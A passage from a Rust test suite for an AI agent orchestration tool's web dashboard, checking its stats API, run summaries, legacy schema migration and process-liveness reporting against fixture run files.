18575 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18576 assert!(body.contains("`#/runs/${question.run}`"));
18577 assert!(body.contains("\"task\" : \"run\""));
18578 }
18579
18580 #[test]
18581 fn plain_text_message_surfaces_go_through_linkify() {
18582 assert!(APP_JS.contains("function linkify("));
18583 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18584 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18585 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18586 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18587 assert!(!APP_JS.contains("innerHTML = text"));
18588 }
18589
18590 #[test]
18591 fn implementation_rate_views_keep_independent_samples() {
18592 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18593 let a = stats::AgentStats {
18594 competitive_entered: competitive_n,
18595 competitive_wins: usize::from(competitive_n > 0),
18596 solo_entered: solo_n,
18597 solo_adopted: 2 * usize::from(solo_n > 0),
18598 ..Default::default()
18599 };
18600 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18601 for (key, n, numerator) in [
18602 ("competitive_win_rate", competitive_n, a.competitive_wins),
18603 ("solo_adoption_rate", solo_n, a.solo_adopted),
18604 ] {
18605 if n == 0 {
18606 assert!(v[key].is_null());
18607 } else {
18608 assert_eq!(v[key]["denominator"], n);
18609 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18610 }
18611 }
18612 }
18613 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18614 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18615 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18616 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18617 }
18618
18619 #[test]
18620 fn stats_bars_share_one_id_keyed_plan() {
18621 let start = APP_JS
18622 .find("function statsBarRows(")
18623 .expect("statsBarRows exists");
18624 let body = &APP_JS[start..];
18625 let body = &body[..body.find("\n}\n").expect("function end")];
18626 assert!(body.contains("statsBarPlan(rows)"));
18627 assert!(body.contains("statsAgentTone(row.agent)"));
18628 assert!(!body.contains("candTone(i)"));
18629 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18630 for root in [
18631 "stats-agents-bars",
18632 "stats-solo-bars",
18633 "stats-reviewers-bars",
18634 ] {
18635 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18636 }
18637 }
18638
18639 #[test]
18640 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18641 let start = APP_JS
18642 .find("function renderStatsReviewerScatter(")
18643 .expect("renderStatsReviewerScatter exists");
18644 let body = &APP_JS[start..];
18645 let body = &body[..body.find("\n}\n").expect("function end")];
18646 assert!(body.contains("statsScatterPlan(reviewers)"));
18647 assert!(body.contains("statsAgentTone(d.agent)"));
18648 assert!(APP_JS.contains("function statsScatterPlan("));
18649 assert!(
18650 APP_JS.contains("d.submitted < STATS_LOW_N")
18651 || APP_JS.contains("r.submitted < STATS_LOW_N")
18652 );
18653 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18654 assert!(APP_CSS.contains(".precision-scatter"));
18655 }
18656
18657 #[test]
18658 fn advisor_reflection_is_drawn_as_stacked_segments() {
18659 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18660 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18661 let html = include_str!("../assets/ui/index.html");
18662 assert!(html.contains("Approximate"));
18663 for label in ["reflected strongly", "faint", "no proposal"] {
18664 assert!(html.contains(label));
18665 }
18666 let css = include_str!("../assets/ui/app.css");
18667 for c in ["refl-strong", "refl-faint", "refl-absent"] {
18668 assert!(css.contains(&format!(".{c} {{")));
18669 }
18670 }
18671
18672 #[test]
18673 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18674 assert!(APP_JS.contains("function statsDailyPlan("));
18675 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18676 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18677 }
18678
18679 #[test]
18680 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18681 let start = APP_JS
18682 .find("function scheduleSearch(")
18683 .expect("scheduleSearch exists");
18684 let body = &APP_JS[start..];
18685 let body = &body[..body.find("\n}\n").expect("function end")];
18686 assert!(body.contains("s.seq += 1"));
18687 }
18688
18689 #[tokio::test]
18694 async fn stats_runs_unreadable_matches_health() {
18695 let f = Fixture::start().await;
18696 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18697 let broken = f.runs().join("20260902-140502-bad");
18698 std::fs::create_dir_all(&broken).expect("run dir");
18699 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18700
18701 let stats = f.get("/api/stats").await;
18702 let health = f.get("/api/health").await;
18703
18704 assert_eq!(stats.status, 200);
18705 assert_eq!(stats.json()["totals"]["runs"], 1);
18706 assert_eq!(stats.json()["runs_unreadable"], 1);
18707 assert_eq!(
18708 stats.json()["runs_unreadable"],
18709 health.json()["runs_unreadable"],
18710 "the dashboard and /api/health must never disagree about how many \
18711 runs could not be read"
18712 );
18713 }
18714
18715 #[tokio::test]
18716 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18717 let f = Fixture::start().await;
18718 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18719 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18720 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18721
18722 let totals = &f.get("/api/stats").await.json()["totals"];
18723 assert_eq!(totals["runs"], 3);
18724 assert_eq!(totals["merged"], 1);
18725 assert_eq!(totals["stalled"], 1);
18726 assert_eq!(totals["in_progress"], 1);
18727 assert_eq!(totals["blocked"], 0);
18730 assert_eq!(totals["ready"], 0);
18731 }
18732
18733 #[tokio::test]
18734 async fn stats_advisors_report_proposals_and_reflection() {
18735 use crate::advise::{Advice, AdvisorRecord, Reflection};
18736 use crate::verdict::Proposal;
18737
18738 let f = Fixture::start().await;
18739 let mut state = RunState::new(
18740 PathBuf::from("/repo/magi"),
18741 "main".to_owned(),
18742 "0123456789abcdef".to_owned(),
18743 "task".to_owned(),
18744 Config::default(),
18745 );
18746 state.id = "20260902-140501-a".to_owned();
18747 state.status = RunStatus::Merged;
18748 state.advice = Some(Advice {
18749 records: vec![
18750 AdvisorRecord {
18751 seat: "advisor-1".to_owned(),
18752 agent: "alpha".to_owned(),
18753 proposal: Some(Proposal {
18754 approach: "do it".to_owned(),
18755 key_tradeoff: "speed over memory".to_owned(),
18756 risks: Vec::new(),
18757 touches: Vec::new(),
18758 why_not_naive: "breaks under load".to_owned(),
18759 }),
18760 error: None,
18761 duration_ms: 0,
18762 reflection: Reflection::Strong,
18763 },
18764 AdvisorRecord {
18765 seat: "advisor-2".to_owned(),
18766 agent: "alpha".to_owned(),
18767 proposal: None,
18768 error: Some("timed out".to_owned()),
18769 duration_ms: 0,
18770 reflection: Reflection::Absent,
18771 },
18772 ],
18773 synthesis: Some("blended brief".to_owned()),
18774 });
18775 let dir = f.runs().join(&state.id);
18776 std::fs::create_dir_all(&dir).expect("run dir");
18777 std::fs::write(
18778 dir.join("run.json"),
18779 serde_json::to_string_pretty(&state).expect("serialize run"),
18780 )
18781 .expect("write run.json");
18782
18783 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18785 let alpha = advisors
18786 .as_array()
18787 .expect("an array")
18788 .iter()
18789 .find(|a| a["agent"] == "alpha")
18790 .expect("alpha row");
18791 assert_eq!(alpha["seated"], 2);
18792 assert_eq!(alpha["proposed"], 1);
18793 assert_eq!(alpha["absent"], 1);
18794 assert_eq!(alpha["strong"], 1);
18795 assert_eq!(alpha["faint"], 0);
18796 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18797 }
18798
18799 #[tokio::test]
18800 async fn stats_hides_agents_outside_the_roster_unless_all() {
18801 use crate::run::Candidate;
18802 let repo = TempDir::new().expect("repo dir");
18803 std::fs::write(
18804 repo.path().join("magi.toml"),
18805 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18806 )
18807 .expect("magi.toml");
18808 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18809 let mut state = RunState::new(
18810 PathBuf::from("/repo/magi"),
18811 "main".to_owned(),
18812 "0123456789abcdef".to_owned(),
18813 "task".to_owned(),
18814 Config::default(),
18815 );
18816 state.id = "20260902-140501-a".to_owned();
18817 state.status = RunStatus::Merged;
18818 for (label, agent) in [('A', "keep"), ('B', "retired")] {
18819 let mut c: Candidate = serde_json::from_value(serde_json::json!({
18820 "index": 0, "label": label.to_string(), "agent": agent,
18821 "branch": "b", "worktree": "/w",
18822 }))
18823 .expect("candidate");
18824 c.label = label;
18825 state.candidates.push(c);
18826 }
18827 let dir = f.runs().join(&state.id);
18828 std::fs::create_dir_all(&dir).expect("run dir");
18829 std::fs::write(
18830 dir.join("run.json"),
18831 serde_json::to_string_pretty(&state).expect("serialize run"),
18832 )
18833 .expect("write run.json");
18834
18835 let agents_of = |v: &serde_json::Value| -> Vec<String> {
18836 v["agents"]
18837 .as_array()
18838 .expect("array")
18839 .iter()
18840 .map(|a| a["agent"].as_str().unwrap().to_owned())
18841 .collect()
18842 };
18843 let hidden = f.get("/api/stats").await.json();
18844 assert_eq!(agents_of(&hidden), ["keep"]);
18845 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18846 assert_eq!(hidden["totals"]["runs"], 1);
18847
18848 let all = f.get("/api/stats?all=true").await.json();
18849 assert_eq!(agents_of(&all).len(), 2);
18850 assert_eq!(all["retired_hidden"], serde_json::json!([]));
18851 let keep_agent = all["agents"]
18853 .as_array()
18854 .unwrap()
18855 .iter()
18856 .find(|a| a["agent"] == "keep")
18857 .unwrap();
18858 assert_eq!(keep_agent["competitive_entered"], 1);
18859 assert_eq!(keep_agent["competitive_wins"], 0);
18860 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18861 assert_eq!(keep_agent["solo_entered"], 0);
18862 assert_eq!(keep_agent["solo_adopted"], 0);
18863 assert!(keep_agent["solo_adoption_rate"].is_null());
18864 }
18865
18866 #[tokio::test]
18867 async fn stats_release_bumps_split_clean_from_attention() {
18868 use crate::run::ReleaseBump;
18869
18870 let f = Fixture::start().await;
18871
18872 let mut clean = RunState::new(
18873 PathBuf::from("/repo/magi"),
18874 "main".to_owned(),
18875 "0123456789abcdef".to_owned(),
18876 "task".to_owned(),
18877 Config::default(),
18878 );
18879 clean.id = "20260902-140501-a".to_owned();
18880 clean.status = RunStatus::Merged;
18881 clean.release_bump = Some(ReleaseBump {
18882 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18883 version: Some("1.0.0".to_owned()),
18884 automerge_enabled: true,
18885 merged_directly: false,
18886 local: false,
18887 release: None,
18888 problem: None,
18889 action_required: None,
18890 skipped: None,
18891 });
18892
18893 let mut blocked = RunState::new(
18894 PathBuf::from("/repo/magi"),
18895 "main".to_owned(),
18896 "0123456789abcdef".to_owned(),
18897 "task".to_owned(),
18898 Config::default(),
18899 );
18900 blocked.id = "20260902-140502-b".to_owned();
18901 blocked.status = RunStatus::Merged;
18902 blocked.release_bump = Some(ReleaseBump {
18903 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18904 version: Some("1.0.1".to_owned()),
18905 automerge_enabled: false,
18906 merged_directly: false,
18907 local: false,
18908 release: None,
18909 problem: Some("checks red".to_owned()),
18910 action_required: Some("look at the PR".to_owned()),
18911 skipped: None,
18912 });
18913
18914 for state in [&clean, &blocked] {
18915 let dir = f.runs().join(&state.id);
18916 std::fs::create_dir_all(&dir).expect("run dir");
18917 std::fs::write(
18918 dir.join("run.json"),
18919 serde_json::to_string_pretty(state).expect("serialize run"),
18920 )
18921 .expect("write run.json");
18922 }
18923
18924 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18925 assert_eq!(bumps["merged"], 2);
18926 assert_eq!(bumps["recorded"], 2);
18927 assert_eq!(bumps["pr_opened"], 2);
18928 assert_eq!(bumps["automerge_enabled"], 1);
18929 assert_eq!(bumps["needs_attention"], 1);
18930 assert_eq!(bumps["clean"], 1);
18931 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18932 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18933 }
18934
18935 #[tokio::test]
18936 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18937 let f = Fixture::start().await;
18938 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18939
18940 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18941 assert_eq!(bumps["merged"], 1);
18942 assert_eq!(bumps["recorded"], 0);
18943 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18946 assert_eq!(bumps["automerge_rate"], Value::Null);
18949 assert_eq!(bumps["attention_rate"], Value::Null);
18950 }
18951
18952 #[tokio::test]
18953 async fn stats_queue_counts_come_from_the_live_queue() {
18954 let f = Fixture::start().await;
18955 let q = f.queue();
18956 let mut queued = Task::new(
18957 "queued task".to_owned(),
18958 "do it".to_owned(),
18959 PathBuf::from("/repo"),
18960 Source::Human,
18961 );
18962 q.put(&mut queued).expect("put queued");
18963 let mut held = Task::new(
18964 "held task".to_owned(),
18965 "do it later".to_owned(),
18966 PathBuf::from("/repo"),
18967 Source::Human,
18968 );
18969 held.hold_machine(Some("out of attempts".to_owned()));
18970 q.put(&mut held).expect("put held");
18971
18972 let queue = f.get("/api/stats").await.json()["queue"].clone();
18973 assert_eq!(queue["queued"], 1);
18974 assert_eq!(queue["held"], 1);
18975 assert_eq!(queue["running"], 0);
18976 assert_eq!(queue["done"], 0);
18977 assert_eq!(queue["failed"], 0);
18978 assert_eq!(queue["blocked"], 0);
18979 }
18980
18981 #[tokio::test]
18982 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18983 let f = Fixture::start().await;
18984 let stats = f.get("/api/stats").await;
18985 assert_eq!(stats.status, 200);
18986 assert_eq!(stats.json()["totals"]["runs"], 0);
18987 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18988 assert_eq!(stats.json()["runs_unreadable"], 0);
18989 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18990 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18991 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18992 assert_eq!(stats.json()["repo"], Value::Null);
18993 }
18994
18995 #[tokio::test]
18996 async fn stats_lists_every_repository_with_runs_recorded() {
18997 let f = Fixture::start().await;
18998 write_run_repo(
18999 &f.runs(),
19000 "20260902-140501-a",
19001 RunStatus::Merged,
19002 "/repos/a",
19003 );
19004 write_run_repo(
19005 &f.runs(),
19006 "20260902-140502-b",
19007 RunStatus::Merged,
19008 "/repos/a",
19009 );
19010 write_run_repo(
19011 &f.runs(),
19012 "20260902-140503-c",
19013 RunStatus::Blocked,
19014 "/repos/b",
19015 );
19016
19017 let stats = f.get("/api/stats").await;
19018 assert_eq!(stats.status, 200);
19019 assert_eq!(stats.json()["totals"]["runs"], 3);
19021 assert_eq!(stats.json()["repo"], Value::Null);
19022
19023 let repos = stats.json()["repos"].clone();
19024 let repos = repos.as_array().unwrap();
19025 assert_eq!(repos.len(), 2);
19026 assert_eq!(repos[0]["repo"], "/repos/a");
19028 assert_eq!(repos[0]["name"], "a");
19029 assert_eq!(repos[0]["runs"], 2);
19030 assert_eq!(repos[1]["repo"], "/repos/b");
19031 assert_eq!(repos[1]["runs"], 1);
19032 }
19033
19034 #[tokio::test]
19035 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19036 let f = Fixture::start().await;
19037 write_run_repo(
19038 &f.runs(),
19039 "20260902-140501-a",
19040 RunStatus::Merged,
19041 "/repos/a",
19042 );
19043 write_run_repo(
19044 &f.runs(),
19045 "20260902-140502-b",
19046 RunStatus::Blocked,
19047 "/repos/b",
19048 );
19049
19050 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19051 assert_eq!(stats.status, 200);
19052 assert_eq!(stats.json()["totals"]["runs"], 1);
19053 assert_eq!(stats.json()["totals"]["merged"], 1);
19054 assert_eq!(stats.json()["repo"], "/repos/a");
19055 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
19058 assert_eq!(stats.json()["runs_unreadable"], 0);
19061 }
19062
19063 #[tokio::test]
19064 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
19065 let f = Fixture::start().await;
19066 write_run_repo(
19067 &f.runs(),
19068 "20260902-140501-a",
19069 RunStatus::Merged,
19070 "/repos/a",
19071 );
19072 write_run_repo(
19073 &f.runs(),
19074 "20260902-140502-b",
19075 RunStatus::Merged,
19076 "/repos/b",
19077 );
19078
19079 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
19080 let json = f.get(uri).await.json();
19081 let daily = json["daily"].as_array().expect("daily is an array");
19082 assert_eq!(daily.len(), 30);
19083 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
19084 let mut sorted = dates.clone();
19085 sorted.sort();
19086 assert_eq!(dates, sorted);
19087 for d in daily {
19088 assert_eq!(
19089 d["merged"].as_u64().unwrap()
19090 + d["ready"].as_u64().unwrap()
19091 + d["other"].as_u64().unwrap(),
19092 d["runs"].as_u64().unwrap()
19093 );
19094 }
19095 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
19096 }
19097 }
19098
19099 #[tokio::test]
19100 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
19101 let f = Fixture::start().await;
19102 write_run_repo(
19103 &f.runs(),
19104 "20260902-140501-a",
19105 RunStatus::Merged,
19106 "/repos/a",
19107 );
19108
19109 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
19110 assert_eq!(stats.status, 404);
19111 }
19112
19113 #[tokio::test]
19114 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
19115 let f = Fixture::start().await;
19116 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
19117
19118 let summary = f.get("/api/runs").await.json();
19119 let row = &summary[0];
19120 assert_eq!(row["short"], "a1b2");
19121 assert_eq!(row["status"], "ready");
19122 assert_eq!(row["done"], true);
19123 assert_eq!(row["title"], "Add a web UI");
19124 assert_eq!(row["repo_name"], "magi");
19125 assert_eq!(row["judges"], 3);
19126 assert_eq!(row["winner"], Value::Null);
19127 assert_eq!(row["reviews"], 0);
19128
19129 let detail = f.get("/api/runs/a1b2").await;
19132 assert_eq!(detail.status, 200);
19133 assert_eq!(detail.json()["base_branch"], "main");
19134 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
19135 }
19136
19137 #[tokio::test]
19145 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
19146 let f = Fixture::start().await;
19147
19148 let mut none_run = RunState::new(
19149 PathBuf::from("/repo/magi"),
19150 "main".to_owned(),
19151 "0123456789abcdef".to_owned(),
19152 "Add a web UI".to_owned(),
19153 Config::default(),
19154 );
19155 none_run.id = "20260902-140503-none".to_owned();
19156 none_run.status = RunStatus::Ready;
19157 none_run.merge = Some(crate::run::MergeOutcome {
19158 mode: crate::config::MergeMode::None,
19159 ok: true,
19160 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
19161 empty: false,
19162 });
19163 write_state(&f.runs(), &none_run);
19164
19165 let mut pr_run = RunState::new(
19166 PathBuf::from("/repo/magi"),
19167 "main".to_owned(),
19168 "0123456789abcdef".to_owned(),
19169 "Add a web UI".to_owned(),
19170 Config::default(),
19171 );
19172 pr_run.id = "20260902-140504-prcl".to_owned();
19173 pr_run.status = RunStatus::Ready;
19174 pr_run.merge = Some(crate::run::MergeOutcome {
19175 mode: crate::config::MergeMode::Pr,
19176 ok: false,
19177 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19178 empty: false,
19179 });
19180 write_state(&f.runs(), &pr_run);
19181
19182 let summary = f.get("/api/runs").await.json();
19183 let rows: std::collections::HashMap<&str, &Value> = summary
19184 .as_array()
19185 .expect("an array")
19186 .iter()
19187 .map(|r| (r["id"].as_str().expect("an id"), r))
19188 .collect();
19189 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19190 assert_eq!(
19191 rows[none_run.id.as_str()]["unmerged_by_design"],
19192 true,
19193 "a mode-none Ready must be flagged in the list"
19194 );
19195 assert_eq!(
19196 rows[pr_run.id.as_str()]["unmerged_by_design"],
19197 false,
19198 "a Ready reached by a closed pull request is a different case"
19199 );
19200
19201 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19202 assert_eq!(none_detail["status"], "ready");
19203 assert_eq!(none_detail["unmerged_by_design"], true);
19204
19205 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19206 assert_eq!(pr_detail["unmerged_by_design"], false);
19207 }
19208
19209 #[tokio::test]
19214 async fn run_core_survives_unavailable_related_stores() {
19215 let home = TempDir::new().unwrap();
19216 let ui = delta_test_ui(home.path());
19217 let state = RunState::new(
19218 PathBuf::from("/repo/magi"),
19219 "main".into(),
19220 "0123456789abcdef".into(),
19221 "Useful core instructions".into(),
19222 Config::default(),
19223 );
19224 let dir = ui.runs.join(&state.id);
19225 std::fs::create_dir_all(&dir).unwrap();
19226 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19227 std::fs::write(ui.questions.root(), "unavailable").unwrap();
19228 std::fs::write(ui.queue.root(), "unavailable").unwrap();
19229 let core = run_core(State(ui.clone()), Path(state.id.clone()))
19230 .await
19231 .unwrap()
19232 .0;
19233 assert_eq!(core.state.instruction, state.instruction);
19234 assert_eq!(core.state.updated_at, state.updated_at);
19235 assert!(core.task.is_none());
19236 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19237 }
19238
19239 #[tokio::test]
19240 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19241 let f = Fixture::start().await;
19242 let id = "20260902-140502-bbbb";
19246 let mut state = RunState::new(
19247 PathBuf::from("/repo/magi"),
19248 "main".to_owned(),
19249 "0123456789abcdef".to_owned(),
19250 "Add a web UI".to_owned(),
19251 Config::default(),
19252 );
19253 state.id = id.to_owned();
19254 state.status = RunStatus::Judging;
19255 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19256 let dir = f.runs().join(id);
19257 std::fs::create_dir_all(&dir).expect("run dir");
19258 std::fs::write(
19259 dir.join("run.json"),
19260 serde_json::to_string_pretty(&state).expect("serialize run"),
19261 )
19262 .expect("write run.json");
19263
19264 let cold = f.get(&format!("/api/runs/{id}")).await.json();
19270 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19271 assert_eq!(cold["live"], "unknown", "{cold}");
19272
19273 write_daemon(f.home.path(), Timestamp::now());
19276 let warm = f.get(&format!("/api/runs/{id}")).await.json();
19277 assert_eq!(warm["live"], "live", "{warm}");
19278 }
19279
19280 #[test]
19281 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19282 let home = tempfile::tempdir().expect("temp home");
19283 let runs = home.path().join("runs");
19284 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19285 let mut state = RunState::new(
19286 PathBuf::from("/repo/magi"),
19287 "main".to_owned(),
19288 "0123456789abcdef".to_owned(),
19289 "Generated review context, not authored task criteria".to_owned(),
19290 Config::default(),
19291 );
19292 state.origin = origin;
19293 state.status = RunStatus::Blocked;
19294 state.driver_exited = false;
19296 state.gate_ran = true;
19297 let expected = serde_json::to_value(&state).expect("serialize current state");
19298 let mut legacy = expected.clone();
19299 legacy["schema"] = serde_json::json!(13);
19300 legacy.as_object_mut().unwrap().remove("task_instruction");
19301 let dir = runs.join(&state.id);
19302 std::fs::create_dir_all(&dir).expect("run dir");
19303 let path = dir.join("run.json");
19304 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19305 std::fs::write(&path, &body).expect("write legacy run");
19306
19307 for loaded in [
19308 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19309 read_run(&runs, &state.id).expect("web migration"),
19310 ] {
19311 assert_eq!(loaded.schema, crate::run::SCHEMA);
19312 assert!(loaded.task_instruction.is_none());
19313 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19314 }
19315 assert_eq!(runs_unreadable(&runs), 0);
19316 assert_eq!(std::fs::read(&path).unwrap(), body);
19317 }
19318 }
19319
19320 #[tokio::test]
19323 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19324 let f = Fixture::start().await;
19325 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19326 let mut state = RunState::new(
19327 PathBuf::from("/repo/magi"),
19328 "main".to_owned(),
19329 "0123456789abcdef".to_owned(),
19330 "Add a web UI".to_owned(),
19331 Config::default(),
19332 );
19333 state.id = id.to_owned();
19334 state.origin = origin;
19335 let mut value = serde_json::to_value(&state).expect("serialize run");
19336 if let Some(schema) = schema {
19337 value["schema"] = serde_json::json!(schema);
19338 value.as_object_mut().unwrap().remove("origin");
19339 }
19340 let dir = f.runs().join(id);
19341 std::fs::create_dir_all(&dir).expect("run dir");
19342 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
19343 };
19344 write(
19345 "20260930-092817-ec34",
19346 Some(crate::run::Origin::from_agent_env(
19347 Some(("4a7b".to_owned(), "chat".to_owned())),
19348 None,
19349 )),
19350 None,
19351 );
19352 write("20260930-092817-0ld1", None, Some(12));
19353
19354 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
19355 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
19356 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
19357
19358 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
19359 assert_eq!(
19360 old["origin_label"], "origin unknown (started before origins were recorded)",
19361 "{old}"
19362 );
19363 assert!(old["origin"].is_null(), "{old}");
19364
19365 let list = f.get("/api/runs").await.json();
19366 let labels: Vec<_> = list
19367 .as_array()
19368 .unwrap()
19369 .iter()
19370 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
19371 .collect();
19372 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
19373 }
19374
19375 #[tokio::test]
19382 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
19383 let f = Fixture::start().await;
19384 let id = "20260922-090000-cccc";
19385 let mut state = RunState::new(
19386 PathBuf::from("/repo/magi"),
19387 "main".to_owned(),
19388 "0123456789abcdef".to_owned(),
19389 "Review only".to_owned(),
19390 Config::default(),
19391 );
19392 state.id = id.to_owned();
19393 state.status = RunStatus::Reviewing;
19394 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19395 state.driver_pid = Some(std::process::id());
19401 state.driver_started_at = Some(
19402 crate::proc::process_started_at(std::process::id())
19403 .expect("this test process's own start time must be queryable"),
19404 );
19405 let dir = f.runs().join(id);
19406 std::fs::create_dir_all(&dir).expect("run dir");
19407 std::fs::write(
19408 dir.join("run.json"),
19409 serde_json::to_string_pretty(&state).expect("serialize run"),
19410 )
19411 .expect("write run.json");
19412
19413 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19414 assert_eq!(detail["live"], "live", "{detail}");
19415 }
19416
19417 #[tokio::test]
19423 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
19424 let f = Fixture::start().await;
19425 let id = "20260922-090100-dddd";
19426 let mut state = RunState::new(
19427 PathBuf::from("/repo/magi"),
19428 "main".to_owned(),
19429 "0123456789abcdef".to_owned(),
19430 "Review only".to_owned(),
19431 Config::default(),
19432 );
19433 state.id = id.to_owned();
19434 state.status = RunStatus::Reviewing;
19435 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19436 state.driver_pid = Some(std::process::id());
19441 state.driver_started_at = Some("1".to_owned());
19442 let dir = f.runs().join(id);
19443 std::fs::create_dir_all(&dir).expect("run dir");
19444 std::fs::write(
19445 dir.join("run.json"),
19446 serde_json::to_string_pretty(&state).expect("serialize run"),
19447 )
19448 .expect("write run.json");
19449
19450 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19451 assert_eq!(detail["live"], "dead", "{detail}");
19452 }
19453
19454 #[test]
19458 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
19459 let mk = |id: &str, pid: Option<u32>| {
19460 let mut s = RunState::new(
19461 PathBuf::from("/repo/magi"),
19462 "main".to_owned(),
19463 "0123456789abcdef".to_owned(),
19464 "Add a web UI".to_owned(),
19465 Config::default(),
19466 );
19467 s.id = id.to_owned();
19468 s.driver_pid = pid;
19469 s.driver_started_at = Some("1790000000".to_owned());
19470 s
19471 };
19472 let states = vec![
19473 mk("20260902-140502-aaaa", Some(77)),
19474 mk("20260902-140502-bbbb", Some(77)),
19475 mk("20260902-140502-cccc", Some(77)),
19476 mk("20260902-140502-dddd", None),
19477 ];
19478 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19479 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19480 let sup: HashMap<String, String> = [(
19481 "20260902-140502-aaaa".to_owned(),
19482 "20260902-140502-cccc".to_owned(),
19483 )]
19484 .into();
19485
19486 let status_calls = std::cell::Cell::new(0);
19487 let identity_calls = std::cell::Cell::new(0);
19488 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19489 |_| {
19490 status_calls.set(status_calls.get() + 1);
19491 Some(true)
19492 },
19493 |_| {
19494 identity_calls.set(identity_calls.get() + 1);
19495 Some("1790000000".to_owned())
19496 },
19497 ));
19498 let rows = summarize(
19499 states,
19500 &open,
19501 &claimed,
19502 &sup,
19503 |p| probe.borrow_mut().status(p),
